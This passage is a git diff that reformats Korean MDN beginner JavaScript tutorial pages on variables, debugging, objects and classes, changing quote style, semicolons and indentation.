 - 안전한 명명법은 소위 ["lower camel case"](https://en.wikipedia.org/wiki/CamelCase#Variations_and_synonyms)(소문자 낙타 문법) 입니다. 여러 단어를 하나로 묶고 첫 단어의 시작은 소문자를 사용하며 그다음 단어의 시작은 대문자로 사용합니다. 우리는 지금까지 이 문서에서 변수 이름에 이 방법을 사용해 왔습니다.
 - 포함된 데이터를 쉽게 이해 할 수 있게 변수 이름을 직관적으로 부여 합니다. 단일 문자 / 숫자 또는 긴 구절을 사용하지 마세요.변수 이름을 직관적으로 만들어, 포함된 데이터를 표현 할 수 있습니다.
-- 변수는 대소문자를 구분 합니다. - `myage` 와 `myAge`  는 다른 변수 입니다.
+- 변수는 대소문자를 구분 합니다. - `myage` 와 `myAge` 는 다른 변수 입니다.
 - 마지막으로 JavaScript 예약어를 변수 이름으로 사용하면 안됩니다. (예약어란 JavaScript의 실제 구문을 구성하는 단어를 의미 합니다.) 따라서 변수 이름으로 `var`, `function`, `let`, `for` 와 같은 단어를 사용 할 수 없습니다. 브라우저는 이러한 단어를 다른 코드 아이템(예약어)로 인식하므로 오류가 발생 합니다.
 
 > **참고:** 다음 [Lexical grammar — keywords](/ko/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords) 링크에서 예약어의 목록을 확인 할 수 있습니다.
 
 바람직한 변수 이름의 예:
 
-```js example-good
+```js-nolint example-good
 age
 myAge
 init
@@ -275,7 +270,7 @@ audio2
 
 바람직하지 않은 변수 이름의 예:
 
-```js example-bad
+```js-nolint example-bad
 1
 a
 _12
@@ -308,7 +303,7 @@ var myAge = 17;
 문자열은 텍스트의 조각입니다. 변수에 문자열 값을 대입할 때, 작은따옴표(')나 큰따옴표(")로 묶어야 합니다. 그렇지 않으면 JavaScript는 다른 변수 이름으로 해석하게 됩니다.
 
 ```js
-var dolphinGoodbye = 'So long and thanks for all the fish';
+var dolphinGoodbye = "So long and thanks for all the fish";
 ```
 
 ### 불리언(Booleans)
@@ -332,8 +327,8 @@ var test = 6 < 3;
 배열은 대괄호로 묶이고 쉼표로 구분 된 여러 값을 포함하는 단일 객체입니다. 다음 코드를 콘솔에 입력해 보세요.
 
 ```js
-var myNameArray = ['Chris', 'Bob', 'Jim'];
-var myNumberArray = [10,15,40];
+var myNameArray = ["Chris", "Bob", "Jim"];
+var myNumberArray = [10, 15, 40];
 ```
 
 이러한 배열이 정의되면 다음과 같은 구문을 사용하여 개별 값에 접근 할 수 있습니다. 다음 코드를 입력해 보세요.
@@ -354,13 +349,13 @@ myNumberArray[2]; // should return 40
 콘솔에 다음 코드를 입력해 보세요.
 
 ```js
-var dog = { name : 'Spot', breed : 'Dalmatian' };
+var dog = { name: "Spot", breed: "Dalmatian" };
 ```
 
 객체에 저장된 정보를 검색하기 위해서는 아래 구문을 사용합니다.
 
 ```js
-dog.name
+dog.name;
 ```
 
 지금은 객체에 대해 더 자세하게 보지 않을 것입니다. - 앞으로 모듈에 있는 객체에 대해 더 많이 배울 수 있습니다.
@@ -372,16 +367,16 @@ JavaScript는 "느슨한 유형의 언어(loosely typed language)" 입니다. 
 예를 들어, 변수를 선언하고 그 변수의 값을 따옴표로 묶은 값을 지정하면 브라우저는 변수의 값을 문자열로 인식합니다.
 
 ```js
-var myString = 'Hello';
+var myString = "Hello";
 ```
 
 따옴표 안에 숫자가 포함되어 있어도 여전히 문자열로 인식되므로 주의해야 합니다:
 
 ```js
-var myNumber = '500'; // oops, this is still a string
-typeof(myNumber);
+var myNumber = "500"; // oops, this is still a string
+typeof myNumber;
 myNumber = 500; // much better — now this is a number
-typeof(myNumber)
+typeof myNumber;
 ```
 
 위의 네 줄의 코드를 하나씩 콘솔에 입력하여 결과가 무엇인지 확인해 보세요.(주석은 입력하지 마세요.) 여기에서 `typeof()` 라는 특수 함수를 사용하고 있음을 알 수 있습니다. - 이 함수는 입력한 변수의 데이터 유형을 반환합니다. 위의 코드에서 처음으로 호출될 때, `myNumber` 변수에는 `'500'` 라는 문자열이 포함되어 있으므로 `string` 을 반환해야 합니다. 두 번째는 어떤 값을 반환하는지 확인해 보세요.
diff --git a/files/ko/learn/javascript/first_steps/what_is_javascript/index.md b/files/ko/learn/javascript/first_steps/what_is_javascript/index.md
index 36f4b4593f68fa..2965e27fd06bba 100644
--- a/files/ko/learn/javascript/first_steps/what_is_javascript/index.md
+++ b/files/ko/learn/javascript/first_steps/what_is_javascript/index.md
@@ -45,7 +45,7 @@ CSS를 추가하면 보기 좋게 꾸밀 수 있습니다.
 
 ```css
 p {
-  font-family: 'helvetica neue', helvetica, sans-serif;
+  font-family: "helvetica neue", helvetica, sans-serif;
   letter-spacing: 1px;
   text-transform: uppercase;
   text-align: center;
@@ -65,12 +65,12 @@ p {
 마지막으로는 JavaScript를 곁들여 동적인 기능을 추가할 수 있습니다.
 
 ```js
-const para = document.querySelector('p');
+const para = document.querySelector("p");
 
-para.addEventListener('click', updateName);
+para.addEventListener("click", updateName);
 
 function updateName() {
-  const name = prompt('Enter a new name');
+  const name = prompt("Enter a new name");
   para.textContent = `Player 1: ${name}`;
 }
 ```
@@ -138,12 +138,12 @@ JavaScript는 DOM (Document Object Model) API를 통해 HTML과 CSS를 동적으
 브라우저가 JavaScript 블록을 마주치면, 일반적으로는 순서대로 위에서 아래로 실행합니다. 따라서 코드 배치 순서에도 주의를 기울여야 합니다. 예를 들기 위해 맨 위의 첫 예제 코드로 돌아가봅시다.
 
 ```js
-const para = document.querySelector('p');
+const para = document.querySelector("p");
 
-para.addEventListener('click', updateName);
+para.addEventListener("click", updateName);
 
 function updateName() {
-  const name = prompt('Enter a new name');
+  const name = prompt("Enter a new name");
   para.textContent = `Player 1: ${name}`;
 }
 ```
@@ -188,26 +188,24 @@ CSS와 비슷한 방법으로 JavaScript를 HTML 코드에 적용할 수 있습
 
    ```html
    <script>
-
      // JavaScript goes here
-
    </script>
    ```
 
 4. 이제 {{htmlelement("script")}} 요소 안에 JavaScript를 넣어서 웹 페이지를 조금 흥미롭게 만들어보겠습니다. 밑의 코드를 "// JavaScript goes here" 바로 아래에 넣어주세요.
 
    ```js
-   document.addEventListener('DOMContentLoaded', () => {
+   document.addEventListener("DOMContentLoaded", () => {
      function createParagraph() {
-       const para = document.createElement('p');
-       para.textContent = 'You clicked the button!';
+       const para = document.createElement("p");
+       para.textContent = "You clicked the button!";
        document.body.appendChild(para);
      }
 
-     const buttons = document.querySelectorAll('button');
+     const buttons = document.querySelectorAll("button");
 
      for (const button of buttons) {
-       button.addEventListener('click', createParagraph);
+       button.addEventListener("click", createParagraph);
      }
    });
    ```
@@ -236,15 +234,15 @@ CSS와 비슷한 방법으로 JavaScript를 HTML 코드에 적용할 수 있습
 
    ```js
    function createParagraph() {
-     const para = document.createElement('p');
-     para.textContent = 'You clicked the button!';
+     const para = document.createElement("p");
+     para.textContent = "You clicked the button!";
      document.body.appendChild(para);
    }
 
-   const buttons = document.querySelectorAll('button');
+   const buttons = document.querySelectorAll("button");
 
    for (const button of buttons) {
-     button.addEventListener('click', createParagraph);
+     button.addEventListener("click", createParagraph);
    }
    ```
 
@@ -258,8 +256,8 @@ CSS와 비슷한 방법으로 JavaScript를 HTML 코드에 적용할 수 있습
 
 ```js example-bad
 function createParagraph() {
-  const para = document.createElement('p');
-  para.textContent = 'You clicked the button!';
+  const para = document.createElement("p");
+  para.textContent = "You clicked the button!";
   document.body.appendChild(para);
 }
 ```
@@ -281,10 +279,10 @@ function createParagraph() {
 HTML에 JavaScript를 직접 넣는 대신, 순수한 JavaScript 방법을 사용하세요. `querySelectorAll()` 함수를 사용하면 현재 페이지 내의 모든 버튼을 선택할 수 있습니다. 그 후 반복과 `addEventListener()`로 버튼 하나씩 처리기를 부착하세요. 다음과 같은 모습이 될 것입니다.
 
 ```js
-const buttons = document.querySelectorAll('button');
+const buttons = document.querySelectorAll("button");
 
 for (const button of buttons) {
-  button.addEventListener('click', createParagraph);
+  button.addEventListener("click", createParagraph);
 }
 ```
 
@@ -393,8 +391,8 @@ HTML 및 CSS와 동일하게, JavaScript에서도 브라우저는 무시하는 
 // 함수: 새로운 문단을 생성해서 HTML 본문 끝에 붙입니다.
 
 function createParagraph() {
-  const para = document.createElement('p');
-  para.textContent = 'You clicked the button!';
+  const para = document.createElement("p");
+  para.textContent = "You clicked the button!";
   document.body.appendChild(para);
 }
 
@@ -405,10 +403,10 @@ function createParagraph() {
   아무 버튼이나 클릭하면 createParagraph() 함수가 실행됩니다.
 */
 
-const buttons = document.querySelectorAll('button');
+const buttons = document.querySelectorAll("button");
 
 for (const button of buttons) {
-  button.addEventListener('click', createParagraph);
+  button.addEventListener("click", createParagraph);
 }
 ```
 
diff --git a/files/ko/learn/javascript/first_steps/what_went_wrong/index.md b/files/ko/learn/javascript/first_steps/what_went_wrong/index.md
index f6b9247e8305bf..7af5e7666053e1 100644
--- a/files/ko/learn/javascript/first_steps/what_went_wrong/index.md
+++ b/files/ko/learn/javascript/first_steps/what_went_wrong/index.md
@@ -51,17 +51,17 @@ slug: Learn/JavaScript/First_steps/What_went_wrong
 1. `number-game-errors.html`을 연 탭으로 이동해서 JavaScript 콘솔을 여세요. 스크린샷과 비슷한 내용의 오류 메시지를 볼 수 있어야 합니다. ![](not-a-function.png)
 2. 이 오류는 찾기 쉬운 편이고, 브라우저도 도움이 될 다양한 정보를 제공합니다. (위의 스크린샷은 Firefox에서 촬영했지만 다른 브라우저도 비슷한 정보를 제공합니다) 우리가 알 수 있는 사실은, 왼쪽에서 오른쪽으로...
 
-    - 붉은 "x"는 오류라는 뜻입니다.
-    - 오류 메시지는 무엇이 잘못됐는지 나타냅니다. "TypeError: guessSubmit.addeventListener is not a function"
-    - "Learn More" 링크는 오류의 뜻을 더 자세히 알아볼 수 있는 MDN 페이지로 향합니다.
-    - JavaScript 파일 이름은 개발자 도구의 디버거 탭을 엽니다. 이 링크를 따라가면 오류가 발생한 정확한 위치를 볼 수 있습니다.
-    - 오류가 발생한 줄 번호와, 오류를 처음으로 마주한 문자 번호를 볼 수 있습니다. 이 예제에서는 86번째 줄, 3번째 글자입니다.
+   - 붉은 "x"는 오류라는 뜻입니다.
+   - 오류 메시지는 무엇이 잘못됐는지 나타냅니다. "TypeError: guessSubmit.addeventListener is not a function"
+   - "Learn More" 링크는 오류의 뜻을 더 자세히 알아볼 수 있는 MDN 페이지로 향합니다.
+   - JavaScript 파일 이름은 개발자 도구의 디버거 탭을 엽니다. 이 링크를 따라가면 오류가 발생한 정확한 위치를 볼 수 있습니다.
+   - 오류가 발생한 줄 번호와, 오류를 처음으로 마주한 문자 번호를 볼 수 있습니다. 이 예제에서는 86번째 줄, 3번째 글자입니다.
 
 3. 코드 편집기에서 86번째 줄을 보면 다음 코드를 볼 수 있습니다.
 
-    ```js
-    guessSubmit.addeventListener('click', checkGuess);
-    ```
+   ```js
+   guessSubmit.addeventListener("click", checkGuess);
+   ```
 
 4. 오류 메시지 "guessSubmit.addeventListener is not a function"은 우리가 호출한 함수를 JavaScript 인터프리터가 인식하지 못했다는 뜻입니다. 보통 이 오류는 철자를 잘못 적은 경우 발생합니다. 구문의 올바른 철자가 확실하지 않을 땐 MDN에서 기능 참고서를 살펴보는 게 도움이 되곤 합니다. 선호하는 검색 엔진에서 "mdn '기능 이름'"을 검색해 보세요. 하지만 지금은 시간을 아끼기 위해 링크를 바로 드리겠습니다. [`addEventListener()`](/ko/docs/Web/API/EventTarget/addEventListener)입니다.
 5. `addEventListener()` 페이지를 보니, 함수 이름을 잘못 적었네요! JavaScript는 대소문자를 구분한다는 점을 기억하세요. 철자는 물론 대소문자도 잘못 적으면 오류가 발생합니다. `addeventListener`를 `addEventListener`로 수정하면 될 겁니다. 지금 해보세요.
@@ -74,36 +74,36 @@ slug: Learn/JavaScript/First_steps/What_went_wrong
 2. 이제 숫자를 입력하고 Submit guess 버튼을 누르면... 다른 오류네요! ![](variable-is-null.png)
 3. 이번 오류는 78번째 줄에서 "TypeError: lowOrHi is null"입니다.
 
-    > **참고:** [`Null`](/ko/docs/Glossary/Null)은 "아무것도 아닌 것", 또는 "값이 없음"을 뜻하는 특별한 값입니다. 즉 `lowOrHi`가 선언됐고 초기화도 됐지만 의미 있는 값을 가지진 못한 겁니다. 타입도, 값도 없는 거죠.
+   > **참고:** [`Null`](/ko/docs/Glossary/Null)은 "아무것도 아닌 것", 또는 "값이 없음"을 뜻하는 특별한 값입니다. 즉 `lowOrHi`가 선언됐고 초기화도 됐지만 의미 있는 값을 가지진 못한 겁니다. 타입도, 값도 없는 거죠.
 
-    > **참고:** 이 오류는 페이지를 불러온 직후에 나타나진 않았는데, 함수 내부(`checkGuess() { ... }` 블록의 안)에서 발생했기 때문입니다. 이후 [함수에 관한 글](/ko/docs/Learn/JavaScript/Building_blocks/Functions)에서 더 알아보겠지만, 함수 안의 코드는 함수 바깥과 다른 범위(스코프)에서 동작합니다. 이 예제에서는 86번째 줄에 의해 `checkGuess()` 함수가 구동하기 전에는 코드가 동작하지 않았고, 따라서 오류도 발생하지 않았습니다.
+   > **참고:** 이 오류는 페이지를 불러온 직후에 나타나진 않았는데, 함수 내부(`checkGuess() { ... }` 블록의 안)에서 발생했기 때문입니다. 이후 [함수에 관한 글](/ko/docs/Learn/JavaScript/Building_blocks/Functions)에서 더 알아보겠지만, 함수 안의 코드는 함수 바깥과 다른 범위(스코프)에서 동작합니다. 이 예제에서는 86번째 줄에 의해 `checkGuess()` 함수가 구동하기 전에는 코드가 동작하지 않았고, 따라서 오류도 발생하지 않았습니다.
 
 4. 78번째 줄을 보면 다음 코드를 볼 수 있습니다.
 
-    ```js
-    lowOrHi.textContent = 'Last guess was too high!';
-    ```
+   ```js
+   lowOrHi.textContent = "Last guess was too high!";
+   ```
 
 5. 위의 코드에서는 `lowOrHi` 상수의 `textContent` 속성에 텍스트 문자열을 할당하려고 시도했지만, `lowOrHi`에 들어있어야 할 값이 없어서 동작하지 못했습니다. 이유를 알아봅시다. 코드 내에서 `lowOrHi`가 등장하는 다른 곳을 탐색해 보세요. JavaScript에서 `lowOrHi`가 제일 먼저 등장하는 곳은 48번째 줄입니다.
 
-    ```js
-    const lowOrHi = document.querySelector('lowOrHi');
-    ```
+   ```js
+   const lowOrHi = document.querySelector("lowOrHi");
+   ```
 
 6. 여기서는 문서 HTML의 요소 참조를 변수에 저장하려고 시도하고 있습니다. 48번째 줄이 실행된 후에 `lowOrHi`가 `null`인지 확인해 봅시다. 49번째 줄에 아래의 코드를 추가하세요.
 
-    ```js
-    console.log(lowOrHi);
-    ```
+   ```js
+   console.log(lowOrHi);
+   ```
 
-    > **참고:** [`console.log()`](/ko/docs/Web/API/console/log)는 콘솔에 값을 기록하는 엄청나게 유용한 디버깅 함수입니다. 따라서 이 코드는 48번째 줄에서 `lowOrHi`의 값을 설정하려고 시도한 직후에 그 결과를 콘솔에 기록합니다.
+   > **참고:** [`console.log()`](/ko/docs/Web/API/console/log)는 콘솔에 값을 기록하는 엄청나게 유용한 디버깅 함수입니다. 따라서 이 코드는 48번째 줄에서 `lowOrHi`의 값을 설정하려고 시도한 직후에 그 결과를 콘솔에 기록합니다.
 
 7. 저장하고 새로고침하세요. `console.log()`가 콘솔에 기록한 결과를 볼 수 있을 겁니다. ![](console-log-output.png) `lowOrHi`의 값이 명백히 `null`이므로, 48번째 줄에 문제가 있는 게 틀림없습니다.
 8. 어떤 문제일지 생각해 봅시다. 48번째 줄은 [`document.querySelector()`](/ko/docs/Web/API/Document/querySelector) 메서드를 사용해, CSS 선택자로 선택한 요소의 참조를 가져옵니다. 우리 파일의 더 위쪽에서 우리가 찾으려는 문단을 볼 수 있습니다.
 
-    ```html
-    <p class="lowOrHi"></p>
-    ```
+   ```html
+   <p class="lowOrHi"></p>
+   ```
 
 9. 보아하니 우리가 사용했어야 하는 선택자는 마침표(`.`)로 시작하는 클래스 선택자였는데, 48번째 줄의 `querySelector()` 메서드에 제공한 선택자에는 마침표가 없습니다. 이게 문제일 수 있겠네요! `lowOrHi`를 `.lowOrHi`로 바꿔보세요.
 10. 저장 후 다시 새로고침해보면 `console.log()` 명령문이 우리가 원하는 `<p>` 요소를 반환하는 모습을 볼 수 있습니다. 휴, 다른 오류를 고쳤네요. 이제 `console.log()`는 지워도 되고, 아니면 나중에 다시 보기 위해 남겨놔도 됩니다. 선호하는 쪽으로 선택하세요.
@@ -124,21 +124,21 @@ slug: Learn/JavaScript/First_steps/What_went_wrong
 
 1. `randomNumber` 변수에 무작위 수를 설정하는 부분을 찾아보세요. 게임을 시작할 때 맞혀야 하는 무작위 수는 44번째 줄 부근에서 저장합니다.
 
-    ```js
-    let randomNumber = Math.floor(Math.random()) + 1;
-    ```
+   ```js
+   let randomNumber = Math.floor(Math.random()) + 1;
+   ```
 
 2. 후속 라운드를 시작할 때 새로운 무작위 수를 생성하는 코드는 113번째 줄 근처입니다.
 
-    ```js
-    randomNumber = Math.floor(Math.random()) + 1;
-    ```
+   ```js
+   randomNumber = Math.floor(Math.random()) + 1;
+   ```
 
 3. 위의 두 줄이 정말 문제일까요? 이전에 만났던 `console.log()`를 다시 꺼내옵시다. 각각의 줄 바로 밑에 다음 코드를 추가하세요.
 
-    ```js
-    console.log(randomNumber);
-    ```
+   ```js
+   console.log(randomNumber);
+   ```
 
 4. 저장, 새로고침, 그리고 몇 판 플레이해 보세요. 콘솔에 기록하는 시점에서, `randomNumber`가 정말 1임을 볼 수 있습니다.
 
@@ -147,25 +147,25 @@ slug: Learn/JavaScript/First_steps/What_went_wrong
 문제를 수정하기 전에 이 코드가 어떻게 동작하는지 상기해 봅시다. 먼저, 0.5675493843처럼 0과 1 사이의 무작위 10진수 숫자를 생성하는 [`Math.random()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/random)을 호출합니다.
 
 ```js
-Math.random()
+Math.random();
 ```
 
 다음으로, `Math.random()`을 호출한 결과를 [`Math.floor()`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/floor)에 제공합니다. `Math.floor()`는 주어진 수의 버림을 반환합니다. 그리고 여기에 1을 더합니다.
 
 ```js
-Math.floor(Math.random()) + 1
+Math.floor(Math.random()) + 1;
 ```
 
 0과 1 사이의 무작위 10진수 수를 버림하면 결과는 항상 0이니, 여기에 1을 더한 결과는 항상 1입니다. 무작위 수를 버림하기 전에 먼저 100을 곱해야 원하는 숫자를 얻을 수 있을 겁니다. 다음 코드는 0부터 99까지의 무작위 수를 생성합니다.
 
 ```js
-Math.floor(Math.random()*100);
+Math.floor(Math.random() * 100);
 ```
 
 그러므로, 여기에 1을 더하면 1과 100 사이의 수를 얻을 수 있습니다.
 
 ```js
-Math.floor(Math.random()*100) + 1;
+Math.floor(Math.random() * 100) + 1;
 ```
 
 두 줄 모두 이렇게 고친 후에 저장하고 새로고침해보세요. 이제 처음 의도했던 대로 게임을 플레이할 수 있을 겁니다.
diff --git a/files/ko/learn/javascript/howto/index.md b/files/ko/learn/javascript/howto/index.md
index f9ee0b9d104b69..758bd3c6f6a921 100644
--- a/files/ko/learn/javascript/howto/index.md
+++ b/files/ko/learn/javascript/howto/index.md
@@ -2,6 +2,7 @@
 title: Solve common problems in your JavaScript code
 slug: Learn/JavaScript/Howto
 ---
+
 {{LearnSidebar}}
 
 다음의 링크들은 당신의 자바스크립트 코드가 정상적으로 작동할 수 있게 고쳐야되는 흔한 문제들의 해결책을 제시한다.
@@ -37,8 +38,8 @@ slug: Learn/JavaScript/Howto
 
 ```js
 function myFunction() {
-  alert('This is my function.');
-};
+  alert("This is my function.");
+}
 ```
 
 위 코드는 호출하지 않는 이상 아무것도 하지 않습니다.
@@ -69,9 +70,9 @@ const myNumber = 0;
 
 ```js
 const myObject = {
-  name: 'Chris',
-  age: 38
-}
+  name: "Chris",
+  age: 38,
+};
 ```
 
 ## 기본 정의
diff --git a/files/ko/learn/javascript/index.md b/files/ko/learn/javascript/index.md
index 139272cff29a0d..6a57d8ba3b103b 100644
--- a/files/ko/learn/javascript/index.md
+++ b/files/ko/learn/javascript/index.md
@@ -2,6 +2,7 @@
 title: JavaScript - 동적인 클라이언트 사이드 스크립트 언어
 slug: Learn/JavaScript
 ---
+
 {{LearnSidebar}}
 
 {{Glossary("JavaScript")}} 는 웹 페이지의 복잡한 것들을 구현할 수 있는 프로그래밍 언어입니다. 웹페이지는 단순히 변하지 않고 정적인 정보들만 보여주는 것 이상의 일을 합니다. 시간의 흐름에 따라 업데이트 되는 콘텐츠, 동적인 지도와 움직이는 2D/3D 그래픽, 또는 스크롤 가능한 비디오 쥬크박스들과 여러 가지들을 보여줍니다. 여러분은 '아마도 JavaScript가 그 일들을 하고 있겠구나'라고 생각하실 수 있습니다.
diff --git a/files/ko/learn/javascript/objects/basics/index.md b/files/ko/learn/javascript/objects/basics/index.md
index 7144250a8eb8b0..d0afbc5cebd93a 100644
--- a/files/ko/learn/javascript/objects/basics/index.md
+++ b/files/ko/learn/javascript/objects/basics/index.md
@@ -58,28 +58,39 @@ Object { }
 
 ```js
 const person = {
-  name: ['Bob', 'Smith'],
+  name: ["Bob", "Smith"],
   age: 32,
-  gender: 'male',
-  interests: ['music', 'skiing'],
-  bio: function() {
-    alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.');
+  gender: "male",
+  interests: ["music", "skiing"],
+  bio: function () {
+    alert(
+      this.name[0] +
+        " " +
+        this.name[1] +
+        " is " +
+        this.age +
+        " years old. He likes " +
+        this.interests[0] +
+        " and " +
+        this.interests[1] +
+        ".",
+    );
+  },
+  greeting: function () {
+    alert("Hi! I'm " + this.name[0] + ".");
   },
-  greeting: function() {
-    alert('Hi! I\'m ' + this.name[0] + '.');
-  }
 };
 ```
 
 저장하고 새로 고침 한 후 브라우저 devtools의 JavaScript 콘솔에 다음 중 일부를 입력 해보세요.
 
 ```js
-person.name
-person.name[0]
-person.age
-person.interests[1]
-person.bio()
-person.greeting()
+person.name;
+person.name[0];
+person.age;
+person.interests[1];
+person.bio();
+person.greeting();
 ```
 
 이제 객체 내부에 몇 가지 데이터와 기능이 있으며, 멋진 간단한 구문으로 액세스 할 수 있습니다!
@@ -92,7 +103,7 @@ person.greeting()
 var objectName = {
   member1Name: member1Value,
   member2Name: member2Value,
-  member3Name: member3Value
+  member3Name: member3Value,
 };
 ```
 
@@ -107,9 +118,9 @@ var objectName = {
 위에서, 우리는 객체의 프로퍼티와 메소드를 **점 표기법**을 통해 접근했습니다. 객체 이름(person)은 **네임스페이스**처럼 동작합니다. 객체내에 **캡슐화되어있는**것에 접근하려면 먼저 점을 입력해야합니다. 그 다음 점을 찍고 접근하고자 하는 항목을 적습니다. 간단한 프로퍼티의 이름일 수도 있을 것이고, 배열의 일부이거나 객체의 메소드를 호출할 수도 있습니다.
 
 ```js
-person.age
-person.interests[1]
-person.bio()
+person.age;
+person.interests[1];
+person.bio();
 ```
 
 ### 하위 namespaces
@@ -132,22 +143,22 @@ name : {
 자, 이제 우리는 성공적으로 **하위 namespace** 를 만들었습니다. 복잡해보이지만, 사실 그렇지도 않습니다. 이 속성을 사용하려면 그저 끝에 다른 점을 하나 찍어주기만 하면 됩니다. JS 콘솔에서 아래와 같이 입력해보세요.
 
 ```js
-person.name.first
-person.name.last
+person.name.first;
+person.name.last;
 ```
 
 **중요**: 객체의 속성이 바뀌었으니까, 기존 메소드 코드를 바꿔 줘야 합니다. 기존 코드를
 
 ```js
-name[0]
-name[1]
+name[0];
+name[1];
 ```
 
 아래와 같이 바꿔줘야 합니다.
 
 ```js
-name.first
-name.last
+name.first;
+name.last;
 ```
 
 그렇지 않으면 기존 메소드는 더 이상 동작하지 않을 것입니다.
@@ -157,15 +168,15 @@ name.last
 객체의 프로퍼티에 접근하는 다른 방법으로 괄호 표기법을 사용하는 것이 있습니다. 다음과 같이 사용하는 대신
 
 ```js
-person.age
-person.name.first
+person.age;
+person.name.first;
 ```
 
 이렇게 사용할 수 있습니다.
 
 ```js
-person['age']
-person['name']['first']
+person["age"];
+person["name"]["first"];
 ```
 
 이런 방식은 배열 속에 있는 항목에 접근하는 방법과 매우 유사해 보이는데 실제로도 이는 기본적으로 동일한 것입니다. 한 항목을 선택하기 위해 인덱스 숫자를 이용하는 대신에 각 멤버의 값들과 연결된 이름을 이용합니다. 객체가 간혹 **연관배열 (associative arrays**)이라고 불리는 것이 당연합니다. 연관배열은 배열이 숫자를 값에 연결하는 것과 같은 방법으로 문자열을 값에 매핑합니다.
@@ -176,28 +187,30 @@ person['name']['first']
 
 ```js
 person.age = 45;
-person['name']['last'] = 'Cratchit';
+person["name"]["last"] = "Cratchit";
 ```
 
 위의 코드를 입력한 다음, 객체 멤버값을 아래와 같이 다시 확인해봅시다.
 
 ```js
-person.age
-person['name']['last']
+person.age;
+person["name"]["last"];
 ```
 
 객체 멤버를 설정하는 것은 단순히 기존에 존재하는 프로퍼티나 메소드로 값을 설정하는 것 뿐 아니라, 완전히 새로운 멤버를 생성할 수도 있습니다. JS 콘솔에서 아래 내용을 입력해보세요.
 
 ```js
-person['eyes'] = 'hazel';
-person.farewell = function() { alert("Bye everybody!"); }
+person["eyes"] = "hazel";
+person.farewell = function () {
+  alert("Bye everybody!");
+};
 ```
 
 자, 이제 새로운 멤버를 테스트해보세요.
 
 ```js
-person['eyes']
-person.farewell()
+person["eyes"];
+person.farewell();
 ```
 
 대괄호 표현의 이점 중 하나는 멤버의 값을 동적으로 변경할 수 있을 뿐아니라, 멤버 이름까지도 동적으로 사용할 수 있다는 것입니다. 자, 만약 사용자가 두개의 텍스트 입력을 통해서 people 데이터에 커스텀 값을 넣고 싶어한다고 가정해봅시다. 그 값은 다음과 같이 얻어올 수 있을겁니다.
@@ -216,15 +229,15 @@ person[myDataName] = myDataValue;
 자, 제대로 동작하는지 보려면 아래와 같이 `person` 객체에 대괄호를 붙여서 확인해보면 됩니다.
 
 ```js
-var myDataName = 'height';
-var myDataValue = '1.75m';
+var myDataName = "height";
+var myDataValue = "1.75m";
 person[myDataName] = myDataValue;
 ```
 
 이제 저장하고 리로드후 아래코드를 입력해보세요.
 
 ```js
-person.height
+person.height;
 ```
 
 점 표기법으로는 위의 예제처럼 멤버의 이름을 동적으로 사용할 수 없고, 상수 값만을 사용해야 합니다.
@@ -245,18 +258,18 @@ greeting: function() {
 
 ```js
 var person1 = {
-  name: 'Chris',
-  greeting: function() {
-    alert('Hi! I\'m ' + this.name + '.');
-  }
-}
+  name: "Chris",
+  greeting: function () {
+    alert("Hi! I'm " + this.name + ".");
+  },
+};
 
 var person2 = {
-  name: 'Deepti',
-  greeting: function() {
-    alert('Hi! I\'m ' + this.name + '.');
-  }
-}
+  name: "Deepti",
+  greeting: function () {
+    alert("Hi! I'm " + this.name + ".");
+  },
+};
 ```
 
 이 예제에서, 메소드의 실제 코드는 완전히 동일하지만 `person1.greeting()` 은 "Hi! I'm Chris." 를 출력합니다. 반면 `person2.greeting()` 은 "Hi! I'm Deepti." 을 출력하게 됩니다. 앞서 이야기한 것처럼, `this` 은 실행중인 코드가 속해있는 객체입니다. 객체 리터럴을 직접 지정해서 사용하는 경우라면 그리 유용하지 않겠지만, 동적으로 객체를 생성하는 경우(예를 들면 생성자를 사용하는 경우)에는 매우 유용합니다. 이 부분은 추후에 더 명확하게 이해가 될 겁니다.
@@ -268,7 +281,7 @@ var person2 = {
 자, 다음과 같이 문자열의 메소드를 사용했다고 가정합시다.
 
 ```js
-myString.split(',');
+myString.split(",");
 ```
 
 [`String`](/ko/docs/Web/JavaScript/Reference/Global_Objects/String) 클래스의 인스턴스가 가진 메소드를 사용하고 있습니다. 코드에서 문자열을 생성할 때 마다 `String` 의 인스턴스가 만들어지고, 그렇게 만들어진 인스턴스는 당연히 공통적으로 사용할 수 있는 메소드와 프러퍼티를 가집니다.
@@ -276,8 +289,8 @@ myString.split(',');
 아래와 같이 도큐먼트 오브젝트 모델(DOM)에 접근할때면,
 
 ```js
-var myDiv = document.createElement('div');
-var myVideo = document.querySelector('video');
+var myDiv = document.createElement("div");
+var myVideo = document.querySelector("video");
 ```
 
 [`Document`](/ko/docs/Web/API/Document) 클래스의 인스턴스를 통해 메소드를 사용하고 있는 것입니다. 각 웹페이지가 로딩될 때, `Document` 인스턴스가 만들어지고, 전체 웹 페이지 구조와 컨텐츠 그리고 URL같은 기능들을 제공하는 `document` 가 호출됩니다. 다시 말하지만 이건 여러 공통 메소드와 프로퍼티들이 이 인스턴스를 통해 사용가능하게 됩니다.
@@ -287,7 +300,7 @@ var myVideo = document.querySelector('video');
 모든 내장 객체/API가 자동으로 객체의 인스턴스를 생성하는 것은 아니라는 것에 주의 하세요. 예를 들어, [Notifications API](/ko/docs/Web/API/Notifications_API) — 최근 브라우져들이 시스템 알림을 사용하게 하는 기능 — 는 사용자가 발생 시키길 원하는 notification 만을 선택하게 하는 생성자를 사용해야 합니다. JavaScript 콘솔에 다음 내용을 입력해보세요
 
 ```js
-var myNotification = new Notification('Hello!');
+var myNotification = new Notification("Hello!");
 ```
 
 다음 문서에서 생성자에 대해서 좀더 자세히 알아볼 것입니다.
diff --git a/files/ko/learn/javascript/objects/classes_in_javascript/index.md b/files/ko/learn/javascript/objects/classes_in_javascript/index.md
index 135ff29f71d10f..a1a247b3767979 100644
--- a/files/ko/learn/javascript/objects/classes_in_javascript/index.md
+++ b/files/ko/learn/javascript/objects/classes_in_javascript/index.md
@@ -44,19 +44,19 @@ OOJS에 대한 개념을 설명했으니, 이 글에서는 부모 클래스에
 function Person(first, last, age, gender, interests) {
   this.name = {
     first,
-    last
+    last,
   };
   this.age = age;
   this.gender = gender;
   this.interests = interests;
-};
+}
 ```
 
 메소드는 _전부_ 아래처럼 prototype에 정의되어 있습니다:
 
 ```js
-Person.prototype.greeting = function() {
